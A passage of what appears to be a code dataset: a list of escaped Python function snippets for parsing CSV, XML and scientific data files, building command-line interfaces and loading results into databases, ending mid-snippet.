\"def process_file_import(self):\\r\\n directory_csv = [file for file in os.listdir() if file.endswith(\\\".csv\\\")]\\r\\n self.print_options(directory_csv,2)\\r\\n\\r\\n \\\"\\\"\\\"\\r\\n Asks for user input. Then imports csv file based on user's input.\\r\\n \\\"\\\"\\\"\\r\\n n = (input(\\\"Which csv would you like to import? Please input the corresponding integer:\\\"))\\r\\n\\r\\n try:\\r\\n n = int(n)\\r\\n except:\\r\\n pass\\r\\n\\r\\n if isinstance(n, int) is True and n <= len(directory_csv):\\r\\n self.population.import_csv(directory_csv[int(n)-1])\\r\\n print(self.population)\\r\\n self.file_import()\\r\\n elif n == 'q':\\r\\n quit()\\r\\n elif n == 'b':\\r\\n self.menu_page()\\r\\n else:\\r\\n raise InputError(\\\"\\\\nPlease input a valid digit, 'q' or 'b'\\\")\",\n \"def __main__():\\n parser = argparse.ArgumentParser(description='basic output parser', usage='%(prog)s -i input.xml -o output.csv')\\n parser.add_argument('--input', '-i', dest='infile', help='file to input xml from')\\n parser.add_argument('--output', '-o', dest='outfile', default='output.csv', help='file to output csv to')\\n parser.add_argument('--version', '-v', action='version', version='%(prog)s 0.1')\\n args = parser.parse_args()\\n axmlfile = args.infile\\n acsvfile = args.outfile\\n\\n if not args.infile:\\n sys.exit(parser.print_help())\\n\\n dosomeworkslacker(axmlfile, acsvfile)\",\n \"def __init__(self, message, file_handle, format):\\n oh = open(file_handle, \\\"rU\\\")\\n config.log.error(\\\"csv/tsv file did not pass the csv parser\\\")\\n config.log.error(\\\"Message: %s\\\" % message)\\n print(\\\"-----------------------\\\")\\n print(\\\"CSV Diagnostic:\\\")\\n if \\\"skiplines\\\" in format: # skip the lines.\\n if format[\\\"skiplines\\\"] != -1:\\n for n in range(format[\\\"skiplines\\\"]):\\n oh.readline().rstrip(\\\"\\\\r\\\\n\\\")\\n\\n print(\\\"0:\\\", oh.readline().rstrip(\\\"\\\\r\\\\n\\\"))\\n print(\\\"1:\\\", oh.readline().rstrip(\\\"\\\\r\\\\n\\\"))\\n print(\\\"2:\\\", oh.readline().rstrip(\\\"\\\\r\\\\n\\\"))\\n print(\\\"3:\\\", oh.readline().rstrip(\\\"\\\\r\\\\n\\\"))\\n print(\\\"-----------------------\\\")\\n print(\\\"Format Specifier: %s\\\" % (\\\" \\\".join([\\\"%s:%s\\\\t\\\" % (key, format[key]) for key in format])))\\n print(\\\"Expected Format, based on the format specifier:\\\")\\n oh.close()\\n\\n # This is a safe-ish version of loadCSV() that intelligently fails.\\n\\n if \\\"sniffer\\\" not in format:\\n oh = open(file_handle, \\\"rU\\\")\\n if \\\"dialect\\\" in format:\\n reader = csv.reader(oh, dialect=format[\\\"dialect\\\"])\\n else:\\n reader = csv.reader(oh)\\n\\n try:\\n if \\\"skiplines\\\" in format:\\n skiplines = format[\\\"skiplines\\\"]\\n else:\\n skiplines = 0 # skip any header row by default.\\n except:\\n print(\\\"Error: End of File\\\") # premature end of file, skip out.\\n print(\\\"-----------------------\\\")\\n print(\\\"Error: %s\\\" % (message))\\n return\\n\\n for index, column in enumerate(reader): # This is cryptically called column, when it is actually row.\\n if index > skiplines:\\n if column: # list is empty, so omit.\\n if (not (column[0] in typical_headers)):\\n d = {}\\n for key in format:\\n if not (key in ignorekeys): # ignore these tags\\n try:\\n if not key in d:\\n d[key] = {}\\n if isinstance(format[key], dict) and \\\"code\\\" in format[key]:\\n # a code block insertion goes here - any valid lib and one line python code fragment\\n # store it as a dict with the key \\\"code\\\"\\n d[key] = eval(format[key][\\\"code\\\"]) # this always fails for some reason...\\n else:\\n d[key] = str(column[format[key]])\\n except:\\n d[key] = \\\"mangled\\\"\\n print(\\\"%s\\\" % (\\\" \\\".join([\\\"%s:%s\\\" % (key, d[key]) for key in d])))\\n if index > 3:\\n break\\n else:\\n print(\\\" No specified format (glbase will guess)\\\")\\n\\n print(\\\"-----------------------\\\")\\n config.log.error(\\\"End of error output\\\")\",\n \"def _main(hgt_results_fp,\\n method):\\n\\n with open(hgt_results_fp, 'U') as input_f:\\n\\t if method == 'ranger-dtl':\\n\\t parse_rangerdtl(input_f=input_f)\\n\\t elif method == 'trex':\\n\\t parse_trex(input_f=input_f)\\n\\t elif method == 'riata-hgt':\\n\\t parse_riatahgt(input_f=input_f)\\n\\t elif method == 'jane4':\\n\\t parse_jane4(input_f=input_f)\\n\\t elif method == 'consel':\\n\\t parse_consel(input_f=input_f)\",\n \"def main():\\n\\n\\t# Parse the file\\n\\tmem_file = advanced_analysis('../data_1/mempages.dat.out')\",\n \"def prepare_csv(self, filename, *args, **kwargs):\\n x_possible = getattr(settings, 'IMPORT_CSV_X_FIELDS', ['Lon*', 'x', 'lon*'])\\n y_possible = getattr(settings, 'IMPORT_CSV_Y_FIELDS', ['Lat*', 'y', 'lat*'])\\n geom_possible = getattr(settings, 'IMPORT_CSV_GEOM_FIELDS',\\n ['geom', 'GEOM', 'WKT', 'the_geom', 'THE_GEOM', 'WKB'])\\n\\n oo = kwargs.get('open_options', [])\\n\\n oo.append('X_POSSIBLE_NAMES={0}'.format(','.join(x_possible)))\\n oo.append('Y_POSSIBLE_NAMES={0}'.format(','.join(y_possible)))\\n oo.append('GEOM_POSSIBLE_NAMES={0}'.format(','.join(geom_possible)))\\n\\n kwargs['open_options'] = oo\\n\\n return filename, args, kwargs\",\n \"def __init__(self):\\r\\n self.label = \\\"ProcessGeogridFile\\\"\\r\\n self.description = \\\"This tool takes an input WRF Geogrid file in NetCDF format\\\" + \\\\\\r\\n \\\" and uses the HGT_M grid and an input high-resolution elevation grid\\\" + \\\\\\r\\n \\\"to produce a high-resolution hydrologically processed output.\\\"\\r\\n #self.canRunInBackground = False\\r\\n self.canRunInBackground = True\\r\\n self.category = \\\"Processing\\\"\",\n \"def parse(self, filename):\\n infile = file(filename)\\n for line in infile:\\n self.parseLine(line)\",\n \"def main():\\n stats.set_time_start()\\n\\n if config.options.show_progress:\\n stats.start_monitor()\\n\\n recorders = Recorder.launch(config.options.recorders)\\n\\n try:\\n for filename in config.filenames:\\n parser.parse(filename)\\n\\n Recorder.wait_empty()\\n except KeyboardInterrupt:\\n pass\\n\\n stats.set_time_stop()\\n\\n if config.options.show_progress:\\n stats.stop_monitor()\\n\\n stats.print_summary()\",\n \"def __init__(self):\\r\\n self.filter_p_number = 3 # First one with enough data for statistics\\r\\n self.prfs_d = extract_settings_elvis()\\r\\n\\r\\n ccds = True\\r\\n filtered = False\\r\\n scamp = False\\r\\n\\r\\n input_df = read_csv('cats/cat_clean_ssos.csv', index_col=0)\\r\\n filt_cat = self.gets_filtered_catalog() # Gets data from filtered\\r\\n\\r\\n if ccds:\\r\\n cats_d = self.extract_cats()\\r\\n self.extract_stats_ccds(cats_d, input_df, filt_cat)\\r\\n elif filtered:\\r\\n self.extract_stats_filt(filt_cat, input_df)\\r\\n elif scamp:\\r\\n pass\\r\\n # self.extract_stats_scamp(input_df)\\r\\n else:\\r\\n pass\",\n \"def parse_facs_files():\\n\\n #Load parser settings\\n parser_settings = getattr(settings,'FACS_PARSER_SETTINGS')\\n\\n files_to_parse = [parser_settings['facs_source_directory']+f for f in os.listdir(parser_settings['facs_source_directory']) if '.exp' in f]\\n\\n for filename in files_to_parse: \\n\\n #Compute MD5 hash\\n facs_file = file(filename,'rbU')\\n md5hash = hashlib.md5(facs_file.read()).hexdigest()\\n facs_file.close()\\n \\n #Skip file if previously parsed.\\n if FacsFile.objects.filter(original_filename=filename,md5hash=md5hash):\\n print 'Skipping ', filename\\n continue\\n\\n #Open file, remove null bytes and prepare csv reader\\n facs_file = file(filename, 'rU')\\n csv_reader = csv.reader((x.replace('\\\\0', '') for x in facs_file),dialect=csv.excel_tab)\\n\\n #Reader header\\n csv_header = csv_reader.next()\\n facs_file_results = []\\n\\n #Parse the file\\n for csv_row in csv_reader:\\n if csv_row[0]:\\n facs_file_results.append(dict(zip(csv_header,csv_row)))\\n\\n #Close the file\\n facs_file.close()\\n\\n #Save the information to database and archive file\\n random_ints = ''.join([str(random.randint(0,9)) for n in range(10)])\\n archive_filename = parser_settings['facs_archive_directory'] + filename.split('/')[-1][:-4].split('_')[0] + '_' + random_ints + '.exp'\\n shutil.move(filename, archive_filename)\\n\\n facs_file = FacsFile(\\n original_filename = filename,\\n md5hash = md5hash,\\n archive_filename = archive_filename,\\n )\\n facs_file.save()\\n\\n #Remove empty elements\\n for result in facs_file_results:\\n for key, data in result.items():\\n if data == '.' or not(data):\\n del result[key]\\n\\n #Cache test code and interface mappings\\n test_codes = []\\n for testcode_mapping in TestCodeMapping.objects.filter(interface_name=parser_settings['testcode_interface_name']):\\n test_code = testcode_mapping.code\\n code = test_code.code\\n code_mapping = testcode_mapping.code_mapping\\n\\n test_codes.append((code, code_mapping, test_code))\\n\\n #Add results to database\\n for result in facs_file_results:\\n\\n #Parse result date\\n result_date = dateutil.parser.parse(result[parser_settings['result_datetime']])\\n result_error_code = getattr(result, parser_settings['error_codes'], '')\\n result_identifier = result[parser_settings['sample_identifier']]\\n result_cytometer = result[parser_settings['cytometer_serial']]\\n\\n #Create the dictionnary of result items.\\n new_result_item_dict = {}\\n for test_code, facs_file_column, test_code_object in test_codes:\\n new_result_item_dict[test_code] = ResultItem(\\n test_code = test_code_object,\\n result_item_value = result[facs_file_column],\\n error_code = result_error_code,\\n result_item_datetime = result_date,\\n )\\n\\n #Search for possible duplicate result\\n is_duplicate = False\\n for possible_duplicate in FacsResult.objects.filter(result_identifier=result_identifier):\\n if possible_duplicate.get_resultitem_dict() == new_result_item_dict:\\n is_duplicate = True\\n break\\n\\n #Save result and result item to data if it is not a duplicate\\n if not is_duplicate:\\n \\n new_result = FacsResult(\\n result_identifier=result_identifier,\\n result_datetime=result_date,\\n origin_facs_file=facs_file,\\n cytometer_serial_number=result_cytometer,\\n )\\n \\n new_result.save()\\n \\n #Add the reference to the result for each item and save it to database.\\n for item in new_result_item_dict.values():\\n item.result = new_result\\n item.save()\\n\\n new_result.link_to_requisition()\",\n \"def __init__(self, line_parser, *filename):\\n \\n self.line_parser = line_parser\\n self.f = fileinput.input(filename)\",\n \"def process(self, filename: str, contents: str) -> None:\\n self._current_file_decorators = set()\\n self._current_file = filename\\n try:\\n parsed = ast.parse(contents, filename=filename)\\n except Exception as e: # pylint: disable=broad-exception-caught\\n # logging errors when parsing file\\n logging.exception('Error parsing %s: %s', filename, e)\\n else:\\n self.visit(parsed)\\n finally:\\n self._current_file = None\\n self._current_file_decorators = set()\",\n \"def cliOptions():\\n parser = OptionParser()\\n\\n parser.add_option(\\\"-s\\\", \\\"--saint\\\", help=\\\"Please provide the Saint CSV file\\\", dest=\\\"saint\\\")\\n parser.add_option(\\\"-n\\\", \\\"--nessus\\\", help=\\\"Please provide the Nessus CSV file\\\", dest=\\\"nessus\\\")\\n parser.add_option(\\\"-e\\\", \\\"--export\\\", help=\\\"Please provide an name for export\\\", dest=\\\"export\\\")\\n\\n (options, args) = parser.parse_args()\\n\\n # hard coding the path to the csv files until i get the results I want and for simple testing.\\n # you can remove/comment out the next two lines and invoke the python script with the flags above.\\n #options.saint = 'data/saint.csv'\\n #options.nessus = 'data/nessus.csv'\\n #options.export = 'data/export.csv'\\n\\n # Ensure the Saint/Nessus csv files have been provided\\n if options.saint is None or options.nessus is None:\\n print 'Forgot the CSV reports'\\n sys.exit(2)\\n\\n # Call Merged Results\\n MergedResults(options.saint, options.nessus, options.export)\",\n \"def __init__(self,filePath,headerSymbols=['@','+']):\\n if filePath.endswith('.gz'):\\n self._file = gzip.open(filePath)\\n else:\\n self._file = open(filePath, 'rU')\\n self._currentLineNumber = 0\\n self._hdSyms = headerSymbols\",\n \"def __init__(self,filePath,headerSymbols=['@','+']):\\n if filePath.endswith('.gz'):\\n self._file = gzip.open(filePath)\\n else:\\n self._file = open(filePath, 'rU')\\n self._currentLineNumber = 0\\n self._hdSyms = headerSymbols\",\n \"def test_function_runs(self):\\n\\t\\tanalyse_text(self.filename)\",\n \"def parseProgram(inputFile):\\n print(\\\"Program\\\")\\n parseStatements(inputFile)\",\n \"def handle(self, *args, **options):\\n today = datetime.datetime.today()\\n print '****** Processing data analysis at %s.*******\\\\n' % today\\n\\n #print analysis.calculate_summary_stats()\\n #print analysis.calculate_action_stats()\\n #print analysis.calculate_user_stats()\\n\\n outfile = open('user_timestamps.csv', 'w')\\n analysis.user_timestamps(None, \\\"2012-09-04\\\", \\\"2012-10-01\\\", outfile)\\n outfile.close()\\n\\n outfile = open('user_point_timestamps.csv', 'w')\\n analysis.user_point_timestamps(\\\"2012-09-04\\\", \\\"2012-10-01\\\", outfile)\\n outfile.close()\\n\\n outfile = open('energy_goal_timestamps.csv', 'w')\\n analysis.energy_goal_timestamps(\\\"2012-09-04\\\", \\\"2012-10-01\\\", outfile)\\n outfile.close()\\n\\n today = datetime.datetime.today()\\n print '****** End processing data analysis at %s.*******\\\\n' % today\",\n \"def __init__(self, file_pattern, validate=True, **nucleus_kwargs):\\n\\n super(ReadGenomicsFile, self).__init__()\\n self._source = self._source_class(\\n file_pattern, validate=validate, **nucleus_kwargs)\",\n \"def run(self, parsed):\",\n \"def __parse_file(self):\\n\\n if PY2:\\n text = lambda v: v.decode('utf-8')\\n else:\\n text = lambda v: v\\n with open(self._file, 'r') as csvfile:\\n reader = csv.reader(csvfile, delimiter=';')\\n for row in reader:\\n try:\\n siruta = int(row[0])\\n except ValueError:\\n self.__notify_error(\\\"Line %s has an invalid SIRUTA code\\\" % str(row))\\n continue\\n if not self.siruta_is_valid(siruta):\\n self.__notify_error(\\\"SIRUTA code %d is not valid\\\" % siruta)\\n if len(row) != 15:\\n self.__notify_error(\\\"Line %s does not have 15 elements\\\" % str(row))\\n continue\\n if row[7] == \\\"1\\\":\\n urban = True\\n else:\\n urban = False\\n self._data[siruta] = {\\n 'siruta': siruta,\\n 'name': text(row[1]).translate(self._dia_trans),\\n 'postcode': int(row[2]),\\n 'county': int(row[3]),\\n 'sirutasup': int(row[4]),\\n 'type': int(row[5]),\\n 'level': text(row[6]),\\n 'urban': urban,\\n 'region': int(row[8]),\\n }\",\n \"def input_file_parser(cls):\\n \\n # Loop through the file and store lines in an appropriate list that is passed to other class functions\\n with open(cls.infile_name,'r') as infile:\\n for line in infile: # Loop through the whole file\\n if '$molecule' in line: # Search for a section header\\n for line in infile: # Enter second loop over the lines in the section\\n if '$end' in line: # If you find $end, stop loop as the section is finished\\n break\\n else: # Otherwise add the line to a list\\n cls.molecule_lines.append(line.strip())\\n if '$connection' in line: # Continue for other sections...\\n for line in infile:\\n if '$end' in line:\\n break\\n else:\\n cls.connector_lines.append(line.strip())\\n if '$options' in line: # Continue for other sections...\\n for line in infile:\\n if '$end' in line:\\n break\\n else:\\n cls.options_lines.append(line.strip())\\n\\n return None\",\n \"def run_parse(self):\\n # Data set already has source file names from load_inputs\\n parsedset = {}\\n parsedset['data_set'] = []\\n for log in self.input_files:\\n parsemodule = self.parse_modules[self.args.parser]\\n try:\\n if self.args.tzone:\\n parsemodule.tzone = self.args.tzone\\n except NameError: pass\\n parsedset['data_set'].append(parsemodule.parse_file(log))\\n self.data_set = parsedset\\n del(parsedset)\",\n \"def read_csv_file(self):\\n pass\",\n \"def handle(self, *args, **options):\\n\\n # try downloading csv file\\n try:\\n csv_file = self.get_csv()\\n except FailedDownloadException as e:\\n self.stdout.write(self.style.ERROR(e.message))\\n\\n # counter for successfully inserted or found ciphers\\n cs_new, cs_old, rfc_new = 0, 0, 0\\n for line in csv_file.split(linesep):\\n # try splitting line its separate components or continue\\n try:\\n d = self.split_line(line)\\n except:\\n continue\\n\\n # if any of our filters don't match, skip current cipher suite\\n if not all(re.search(f[1], d[f[0]]) for f in self.filters):\\n continue\\n\\n # create model instances in DB\\n c, cstat = CipherSuite.objects.get_or_create(\\n name = d['name'],\\n hex_byte_1 = d['hex1'],\\n hex_byte_2 = d['hex2'],\\n )\\n\\n for rfc in d['rfcs']:\\n regular_rfc = re.match('RFC(\\\\d+)', rfc)\\n draft_rfc = re.match('RFC-ietf-tls-rfc(\\\\d+).+', rfc)\\n\\n if regular_rfc is not None:\\n rfc_nr = regular_rfc.group(1)\\n draft_status = False\\n elif draft_rfc is not None:\\n rfc_nr = draft_rfc.group(1)\\n draft_status = True\\n\\n r, rstat = Rfc.objects.get_or_create(\\n number = rfc_nr,\\n is_draft = draft_status\\n )\\n c.defining_rfcs.add(r)\\n\\n if rstat:\\n rfc_new += 1\\n\\n if cstat:\\n cs_new += 1\\n else:\\n cs_old += 1\\n\\n self.stdout.write(\\n self.style.SUCCESS(\\n f\\\"Successfully created {cs_new} cipher suites and {rfc_new} RFCs. \\\" +\\n f\\\"{cs_old} cipher suites already in the database.\\\"\\n )\\n )\",\n \"def main():\\n file_requested = obtain_filename()\\n process_command(file_requested)\",\n \"def stat_parser():\\n from tools import file_importer, file_outporter\\n from math import log\\n \\n print(\\\"this is stat parser\\\")\\n \\n relPath = \\\"bob/processed/24h_bobdata_ed2.csv\\\"\\n outPathUp = \\\"bob/processed/24h_bobprots_up_full.csv\\\"\\n outPathDown = \\\"bob/processed/24h_bobprots_down_full.csv\\\"\\n inpF = file_importer(relPath)\\n outFUp = file_outporter(outPathUp)\\n outFDown = file_outporter(outPathDown)\\n \\n \\n skipFlag = True\\n \\n for inpLine in inpF:\\n if skipFlag:\\n skipFlag = False\\n outFDown.write(\\\"ID,Uniprot ID,Gene name,unique peptides (unique+razor),KO1,KO2,KO3,WT1,WT2,WT3,enrichment,P value\\\\n\\\")\\n outFUp.write(\\\"ID,Uniprot ID,Gene name,unique peptides (unique+razor),KO1,KO2,KO3,WT1,WT2,WT3,enrichment,P value\\\\n\\\")\\n continue\\n inpLine = inpLine.split(\\\"\\\\\\\" \\\\\\\"\\\")\\n curLine = []\\n for inpI in inpLine:\\n curLine.append(inpI.strip(\\\"\\\\\\\"\\\\n\\\"))\\n try: \\n curLine[-1] = float(curLine[-1])\\n except ValueError:\\n curLine[-1] = 1 \\n if curLine[-1] < 0.05 and int(curLine[3]) > 1: # check if protein has at least 2 unique peptides and has a significant p value\\n curLine[4:10] = [int(x) for x in curLine[4:10]]\\n enrScore = log((sum(curLine[4:7]) / 3.0)/(sum(curLine[7:10]) / 3.0),2) # calculate log2 enrichment score\\n # print int(sum(curLine[4:7]) / 3.0), int(sum(curLine[7:10]) / 3.0)\\n if sum(curLine[4:7]) / 3.0 > sum(curLine[7:10]) / 3.0: # if the mean of the KO intensities is higher than the wt \\n for outI in curLine:\\n outFDown.write(str(outI).strip(\\\" \\\"))\\n if outI is not curLine[-1]:\\n outFDown.write(\\\",\\\")\\n if outI is curLine[-2]:\\n outFDown.write(str(enrScore)+ \\\",\\\")\\n else:\\n outFDown.write(\\\"\\\\n\\\")\\n # outFDown.write(curLine[1] + \\\",\\\" + curLine[2] + \\\"\\\\n\\\")\\n else:\\n # outFUp.write(curLine[1] + \\\",\\\" + curLine[2] + \\\"\\\\n\\\")\\n for outI in curLine:\\n outFUp.write(str(outI).strip(\\\" \\\"))\\n if outI is not curLine[-1]:\\n outFUp.write(\\\",\\\")\\n if outI is curLine[-2]:\\n outFUp.write(str(enrScore)+ \\\",\\\")\\n else:\\n outFUp.write(\\\"\\\\n\\\")\\n \\n inpF.close()\\n outFUp.close()\\n outFDown.close()\\n print(\\\"stat_parser completed\\\")\",\n \"def __scan_file(self, args, next_file):\\n\\n POGGER.info(\\\"Scanning file '$'.\\\", next_file)\\n context = self.__plugins.starting_new_file(next_file)\\n\\n try:\\n POGGER.info(\\\"Scanning file '$' token-by-token.\\\", next_file)\\n source_provider = FileSourceProvider(next_file)\\n if args.x_test_scan_fault:\\n source_provider = None\\n actual_tokens = self.__tokenizer.transform_from_provider(source_provider)\\n\\n if actual_tokens and actual_tokens[-1].is_pragma:\\n self.__plugins.compile_pragmas(\\n next_file, actual_tokens[-1].pragma_lines\\n )\\n actual_tokens = actual_tokens[:-1]\\n\\n POGGER.info(\\\"Scanning file '$' tokens.\\\", next_file)\\n for next_token in actual_tokens:\\n POGGER.info(\\\"Processing token: $\\\", next_token)\\n self.__plugins.next_token(context, next_token)\\n\\n POGGER.info(\\\"Scanning file '$' line-by-line.\\\", next_file)\\n source_provider = FileSourceProvider(next_file)\\n line_number = 1\\n next_line = source_provider.get_next_line()\\n while next_line is not None:\\n POGGER.info(\\\"Processing line $: $\\\", line_number, next_line)\\n self.__plugins.next_line(context, line_number, next_line)\\n line_number += 1\\n next_line = source_provider.get_next_line()\\n\\n POGGER.info(\\\"Completed scanning file '$'.\\\", next_file)\\n self.__plugins.completed_file(context, line_number)\\n\\n context.report_on_triggered_rules()\\n except Exception:\\n context.report_on_triggered_rules()\\n raise\",\n \"def process_file(self):\\n self._processing_logger.log_info('Start processing')\\n self.parsing_start_time = datetime.datetime.now()\\n if os.path.exists(self.tmp_stat_file_path) \\\\\\n and not HcsParsingUtils.active_processing_exceed_timeout(self.tmp_stat_file_path):\\n self._processing_logger.log_info('This file is processed by another parser, skipping...')\\n return 2\\n self.create_tmp_stat_file()\\n hcs_index_file_path = self.hcs_root_dir + MEASUREMENT_INDEX_FILE_PATH\\n time_series_details = self._extract_time_series_details(hcs_index_file_path)\\n self.generate_ome_xml_info_file()\\n xml_info_tree = ET.parse(self.ome_xml_info_file_path).getroot()\\n plate_width, plate_height = self._get_plate_configuration(xml_info_tree)\\n wells_tags = self.read_wells_tags()\\n if wells_tags:\\n self._processing_logger.log_info(\\\"Tags \\\" + str(wells_tags))\\n if not TAGS_PROCESSING_ONLY and not EVAL_PROCESSING_ONLY:\\n if not self._localize_related_files():\\n self._processing_logger.log_info('Some errors occurred during copying files from the bucket, exiting...')\\n return 1\\n else:\\n self._processing_logger.log_info('Localization is finished.')\\n local_preview_dir = os.path.join(self.tmp_local_dir, 'preview')\\n hcs_local_index_file_path = get_path_without_trailing_delimiter(self.tmp_local_dir) \\\\\\n + MEASUREMENT_INDEX_FILE_PATH\\n for sequence_id, timepoints in time_series_details.items():\\n self._processing_logger.log_info('Processing sequence with id={}'.format(sequence_id))\\n sequence_index_file_path = self.extract_sequence_data(sequence_id, hcs_local_index_file_path)\\n conversion_result = os.system('bash \\\"{}\\\" \\\"{}\\\" \\\"{}\\\" {}'.format(\\n OME_TIFF_SEQUENCE_CREATION_SCRIPT, sequence_index_file_path, local_preview_dir, sequence_id))\\n if conversion_result != 0:\\n self._processing_logger.log_info('File processing was not successful...')\\n return 1\\n sequence_overview_index_file_path, wells_grid_mapping = self.build_sequence_overview_index(sequence_index_file_path)\\n conversion_result = os.system('bash \\\"{}\\\" \\\"{}\\\" \\\"{}\\\" {} \\\"{}\\\"'.format(\\n OME_TIFF_SEQUENCE_CREATION_SCRIPT, sequence_overview_index_file_path, local_preview_dir,\\n sequence_id, 'overview_data.ome.tiff'))\\n if conversion_result != 0:\\n self._processing_logger.log_info('File processing was not successful: well preview generation failure')\\n return 1\\n self.write_dict_to_file(os.path.join(local_preview_dir, sequence_id, 'wells_map.json'),\\n self.build_wells_map(sequence_id, wells_grid_mapping, wells_tags))\\n if LOCALIZE_USE_PIPE == \\\"true\\\":\\n cloud_transfer_result = os.system('pipe storage cp -f -r \\\"{}\\\" \\\"{}\\\"'\\n .format(local_preview_dir,\\n HcsParsingUtils.extract_cloud_path(self.hcs_img_service_dir)))\\n else:\\n cloud_transfer_result = os.system('aws s3 sync \\\"{}\\\" \\\"{}\\\"'\\n .format(local_preview_dir,\\n HcsParsingUtils.extract_cloud_path(self.hcs_img_service_dir)))\\n if cloud_transfer_result != 0:\\n self._processing_logger.log_info('Results transfer was not successful...')\\n return 1\\n self._write_hcs_file(time_series_details, plate_width, plate_height)\\n if not EVAL_PROCESSING_ONLY:\\n tags_processing_result = self.try_process_tags(xml_info_tree, wells_tags)\\n if TAGS_PROCESSING_ONLY:\\n if wells_tags:\\n for sequence_id, timepoints in time_series_details.items():\\n path = os.path.join(self.hcs_img_service_dir, sequence_id, 'wells_map.json')\\n self.write_dict_to_file(path, self.update_wells_json(path, wells_tags))\\n return tags_processing_result\\n if not TAGS_PROCESSING_ONLY:\\n eval_processing_result = self.try_process_eval()\\n if EVAL_PROCESSING_ONLY:\\n return eval_processing_result\\n self.create_stat_file()\\n return 0\",\n \"def main(request_file:str, dates:str, week_filter:str ,parallel:bool, num_cores:int, mode:str=\\\"ecmwf\\\"):\\n try:\\n print(\\\"File downloader is being initialized.\\\")\\n tools = dataTools()\\n\\n config_dict = tools.load_config_file(request_file)\\n \\n if(mode == 'ecmwf'):\\n retriever = ecmwfRetriever() \\n\\n if (dates):\\n click.echo(f'Date generator enabled. date_begin [{dates[0]}], date_end [{dates[1]}].')\\n\\n if (week_filter):\\n click.echo(f'week_filter enabled: {list(week_filter)}') \\n date_list = tools.generate_dates(week_filter=list(week_filter))\\n else:\\n date_list = tools.generate_dates(dates[0], dates[1]) \\n\\n else:\\n dates = [None,None]\\n date_list = None \\n\\n if (parallel): \\n click.echo(f'Parallel processing enabled.') \\n\\n if (num_cores):\\n click.echo(f'Using {str(num_cores)} cores.')\\n retriever.parallel_retrieve(config_dict, num_cores=num_cores, date_begin=dates[0], date_end=dates[1], date_list=date_list)\\n \\n else:\\n click.echo(f'Using {str(num_cores)} cores.')\\n retriever.parallel_retrieve(config_dict, date_begin=dates[0], date_end=dates[1], date_list=date_list, num_cores=2)\\n\\n else:\\n click.echo(f'Sequential processing enabled.')\\n retriever.sequential_retrieve(config_dict) \\n\\n elif(mode == 'cds'):\\n retriever = cdsRetriever()\\n\\n if (dates):\\n click.echo(f'Date generator enabled. date_begin [{dates[0]}], date_end [{dates[1]}].') \\n else:\\n dates = [None,None]\\n\\n if (parallel): \\n click.echo(f'Parallel processing enabled.') \\n\\n if (num_cores):\\n click.echo(f'Using {str(num_cores)} cores.')\\n retriever.parallel_retrieve(config_dict, num_cores=num_cores, date_begin=dates[0], date_end=dates[1])\\n \\n else:\\n click.echo(f'Using 2 cores.')\\n retriever.parallel_retrieve(config_dict, num_cores=2, date_begin=dates[0], date_end=dates[1])\\n\\n else:\\n click.echo(f'Sequential processing enabled.')\\n retriever.sequential_retrieve(config_dict)\\n\\n else:\\n raise TypeError(f'Mode should be eihter ecmwf or cds. got mode = {mode}. ') \\n\\n except Exception as general_error:\\n print(f'Error: {general_error}')\",\n \"def start(self, fin):\\n self._scanner = LexAn()\\n try:\\n self._scanner.openFile(fin)\\n except IOError:\\n raise\\n self._lookahead = self._scanner.yyLex()\\n self._program()\",\n \"def usage():\\r\\n print(\\\"Usage:\\\", end=' ')\\r\\n print(\\\"lab4.py <search directory> <regular expression filter>\\\")\",\n \"def process_file(fname):\\n # get the channel name\\n # this is dirty code, come up with a better solution\\n # e.g. storing the header info in the h5 file attrs\\n man = SortingManagerGrouped(fname)\\n try:\\n entity = man.header['AcqEntName']\\n except TypeError:\\n entity = 'unknown'\\n ncs_fname = os.path.basename(fname)[5:-3]\\n print(ncs_fname)\\n plot_fname = 'spikes_{}_{}'.format(entity, ncs_fname)\\n save_fname = os.path.join(OVERVIEW, plot_fname)\\n spikes_overview(ncs_fname, save_fname)\",\n \"def add_argument(self,parser):\\r\\n parser.add_argument('-c','--csv',type=str,help='name of csv file')\\r\\n return parser\",\n \"def main():\\n csvFile = open('college.csv', 'w', newline='')\\n csvWriter = create_csvWriter(csvFile)\\n input_files_names = os.listdir(DATADIR)\\n print(\\\"starting\\\")\\n for file_name in input_files_names:\\n if file_name.endswith(\\\".html\\\"):\\n print(\\\".\\\", end=\\\"\\\", flush=True)\\n soup = create_soup(file_name)\\n name = college_names(soup)\\n if name is None:\\n continue\\n city, state, zipcode = college_location(soup)\\n selectivity = competitiveness(soup)\\n\\n csvWriter.writerow([name, city, state, zipcode, selectivity, file_name])\\n print(\\\"Finished\\\")\\n csvFile.close()\",\n \"def _parseFileHeader(self):\\n self.fileheader = FileHeader()\\n self.fileheader.parse(self.f)\\n #print('Parsed fileheader')\",\n \"def run(self):\\n\\n self.load_file()\\n self.cat_to_num()\\n self.split()\",\n \"def cli(prog):\\n usage = \\\"{} [options] --infile <full_path/cat_file.csv>\\\".format(prog)\\n description = (\\n \\\"sources are specified as a catalogue of targets,\\\"\\n \\\"with optional timing information\\\"\\n )\\n parser = argparse.ArgumentParser(\\n usage=usage,\\n description=description,\\n formatter_class=argparse.ArgumentDefaultsHelpFormatter,\\n )\\n parser.add_argument(\\n \\\"--version\\\",\\n action=\\\"version\\\",\\n version=__version__)\\n parser.add_argument(\\n \\\"--infile\\\",\\n type=str,\\n required=True,\\n help=\\\"filename of the CSV catalogue to convert (**required**)\\\")\\n parser.add_argument(\\n \\\"--outfile\\\",\\n type=str,\\n help=\\\"filename for output observation file (default outputs to screen)\\\")\\n\\n description = \\\"instrument setup requirements\\\"\\n group = parser.add_argument_group(\\n title=\\\"observation instrument setup\\\", description=description\\n )\\n group.add_argument(\\n \\\"--product\\\",\\n type=str,\\n help=\\\"observation instrument product configuration\\\")\\n group.add_argument(\\n \\\"--band\\\",\\n type=str,\\n help=\\\"observation band: L, UHF, X, S\\\")\\n group.add_argument(\\n \\\"--integration-period\\\",\\n type=float,\\n help=\\\"averaging time per dump [sec]\\\")\\n\\n description = (\\n \\\"track a target for imaging or spectral line observations,\\\"\\n \\\"may optionally have a tag of 'target'.\\\"\\n )\\n group = parser.add_argument_group(\\n title=\\\"target observation strategy\\\", description=description\\n )\\n group.add_argument(\\n \\\"--lst\\\",\\n type=str,\\n help=\\\"observation start LST or LST range\\\")\\n group.add_argument(\\n \\\"--target-duration\\\",\\n type=float,\\n default=300, # sec\\n help=\\\"default target track duration [sec]\\\")\\n group.add_argument(\\n \\\"--max-duration\\\",\\n type=float,\\n help=\\\"maximum duration of observation [sec]\\\")\\n\\n description = (\\n \\\"calibrators are identified by 